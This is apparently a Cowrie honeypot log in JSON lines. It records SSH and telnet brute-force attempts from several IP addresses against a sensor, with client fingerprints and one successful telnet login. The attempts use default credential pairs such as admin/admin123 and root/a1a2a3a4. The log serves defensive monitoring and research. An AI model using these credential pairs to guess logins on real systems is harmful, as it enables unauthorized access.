{"eventid":"cowrie.session.connect","src_ip":"92.98.116.39","src_port":39400,"dst_ip":"159.203.135.109","dst_port":23,"session":"0cf5a6b4d234","protocol":"telnet","message":"New connection: 92.98.116.39:39400 (159.203.135.109:23) [session: 0cf5a6b4d234]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:26:25.788385Z"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":39776,"dst_ip":"10.17.0.5","dst_port":22,"session":"f0432dfc243a","protocol":"ssh","message":"New connection: 83.168.110.85:39776 (10.17.0.5:22) [session: f0432dfc243a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:26:27.890627Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:26:27.895150Z","src_ip":"83.168.110.85","session":"f0432dfc243a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:26:28.015856Z","src_ip":"83.168.110.85","session":"f0432dfc243a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"media","password":"media","message":"login attempt [media/media] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:26:28.378109Z","src_ip":"83.168.110.85","session":"f0432dfc243a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:26:29.758808Z","src_ip":"83.168.110.85","session":"f0432dfc243a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"password","message":"login attempt [user/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:26:30.111163Z","src_ip":"176.65.139.118","session":"a862f92b45c4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":7.48103404045105,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:26:32.181586Z","src_ip":"176.65.139.118","session":"a862f92b45c4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.118","src_port":43636,"dst_ip":"159.203.135.109","dst_port":23,"session":"a69d51c410d2","protocol":"telnet","message":"New connection: 176.65.139.118:43636 (159.203.135.109:23) [session: a69d51c410d2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:26:32.390910Z"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.79.125","src_port":60276,"dst_ip":"10.17.0.5","dst_port":22,"session":"d1467b4aee9d","protocol":"ssh","message":"New connection: 87.251.79.125:60276 (10.17.0.5:22) [session: d1467b4aee9d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:26:32.765556Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:26:32.774289Z","src_ip":"87.251.79.125","session":"d1467b4aee9d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:26:32.847867Z","src_ip":"87.251.79.125","session":"d1467b4aee9d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"a1a2a3a4","message":"login attempt [root/a1a2a3a4] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:26:33.064971Z","src_ip":"87.251.79.125","session":"d1467b4aee9d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:26:34.140949Z","src_ip":"87.251.79.125","session":"d1467b4aee9d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":41078,"dst_ip":"10.17.0.5","dst_port":22,"session":"a340b2046c84","protocol":"ssh","message":"New connection: 83.168.110.85:41078 (10.17.0.5:22) [session: a340b2046c84]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:26:34.786453Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:26:34.793475Z","src_ip":"83.168.110.85","session":"a340b2046c84","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:26:34.915662Z","src_ip":"83.168.110.85","session":"a340b2046c84","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"1qaz@WSX","message":"login attempt [test/1qaz@WSX] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:26:35.280733Z","src_ip":"83.168.110.85","session":"a340b2046c84","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:26:36.431170Z","src_ip":"83.168.110.85","session":"a340b2046c84","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin123","message":"login attempt [admin/admin123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:26:38.441054Z","src_ip":"176.65.139.118","session":"a69d51c410d2","protocol":"telnet"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:26:38.498150Z","src_ip":"176.65.139.118","session":"a69d51c410d2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":13.37787938117981,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:26:39.166127Z","src_ip":"92.98.116.39","session":"0cf5a6b4d234","protocol":"telnet"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855","size":304,"shasum":"e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855","duplicate":true,"duration":"2.4","message":"Closing TTY Log: var/lib/cowrie/tty/e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:26:40.898968Z","src_ip":"176.65.139.118","session":"a69d51c410d2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":8.520909786224365,"message":"Connection lost after 8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:26:40.911720Z","src_ip":"176.65.139.118","session":"a69d51c410d2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.118","src_port":37628,"dst_ip":"159.203.135.109","dst_port":23,"session":"6a377bba701e","protocol":"telnet","message":"New connection: 176.65.139.118:37628 (159.203.135.109:23) [session: 6a377bba701e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:26:40.918217Z"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":41096,"dst_ip":"10.17.0.5","dst_port":22,"session":"5d79587b7c6c","protocol":"ssh","message":"New connection: 83.168.110.85:41096 (10.17.0.5:22) [session: 5d79587b7c6c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:26:41.734535Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:26:41.739505Z","src_ip":"83.168.110.85","session":"5d79587b7c6c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:26:41.860699Z","src_ip":"83.168.110.85","session":"5d79587b7c6c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"david","password":"123456","message":"login attempt [david/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:26:42.223596Z","src_ip":"83.168.110.85","session":"5d79587b7c6c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:26:43.347092Z","src_ip":"83.168.110.85","session":"5d79587b7c6c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":56876,"dst_ip":"10.17.0.5","dst_port":22,"session":"66dbf65304c9","protocol":"ssh","message":"New connection: 83.168.110.85:56876 (10.17.0.5:22) [session: 66dbf65304c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:26:48.724792Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:26:48.730238Z","src_ip":"83.168.110.85","session":"66dbf65304c9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:26:48.851145Z","src_ip":"83.168.110.85","session":"66dbf65304c9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftp","password":"ftp","message":"login attempt [ftp/ftp] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:26:49.446808Z","src_ip":"83.168.110.85","session":"66dbf65304c9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:26:50.575669Z","src_ip":"83.168.110.85","session":"66dbf65304c9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":9.681822538375854,"message":"Connection lost after 9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:26:50.599935Z","src_ip":"176.65.139.118","session":"6a377bba701e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.118","src_port":33476,"dst_ip":"159.203.135.109","dst_port":23,"session":"cb9960473f82","protocol":"telnet","message":"New connection: 176.65.139.118:33476 (159.203.135.109:23) [session: cb9960473f82]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:26:50.735038Z"}
{"eventid":"cowrie.login.failed","username":"admin","password":"","message":"login attempt [admin/] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:26:53.932228Z","src_ip":"176.65.139.118","session":"cb9960473f82","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":4.761582612991333,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:26:55.496501Z","src_ip":"176.65.139.118","session":"cb9960473f82","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.118","src_port":38194,"dst_ip":"159.203.135.109","dst_port":23,"session":"6528a71c58fe","protocol":"telnet","message":"New connection: 176.65.139.118:38194 (159.203.135.109:23) [session: 6528a71c58fe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:26:55.619015Z"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":60328,"dst_ip":"10.17.0.5","dst_port":22,"session":"9491d0ca4073","protocol":"ssh","message":"New connection: 83.168.110.85:60328 (10.17.0.5:22) [session: 9491d0ca4073]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:26:55.853844Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:26:55.858368Z","src_ip":"83.168.110.85","session":"9491d0ca4073","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:26:55.979345Z","src_ip":"83.168.110.85","session":"9491d0ca4073","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kafka","password":"kafka","message":"login attempt [kafka/kafka] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:26:56.351371Z","src_ip":"83.168.110.85","session":"9491d0ca4073","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:26:57.685778Z","src_ip":"83.168.110.85","session":"9491d0ca4073","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"1234","message":"login attempt [admin/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:27:01.013133Z","src_ip":"176.65.139.118","session":"6528a71c58fe","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":60340,"dst_ip":"10.17.0.5","dst_port":22,"session":"68f1683bb585","protocol":"ssh","message":"New connection: 83.168.110.85:60340 (10.17.0.5:22) [session: 68f1683bb585]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:27:02.839192Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:27:02.846769Z","src_ip":"83.168.110.85","session":"68f1683bb585","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:27:02.969960Z","src_ip":"83.168.110.85","session":"68f1683bb585","protocol":"ssh"}
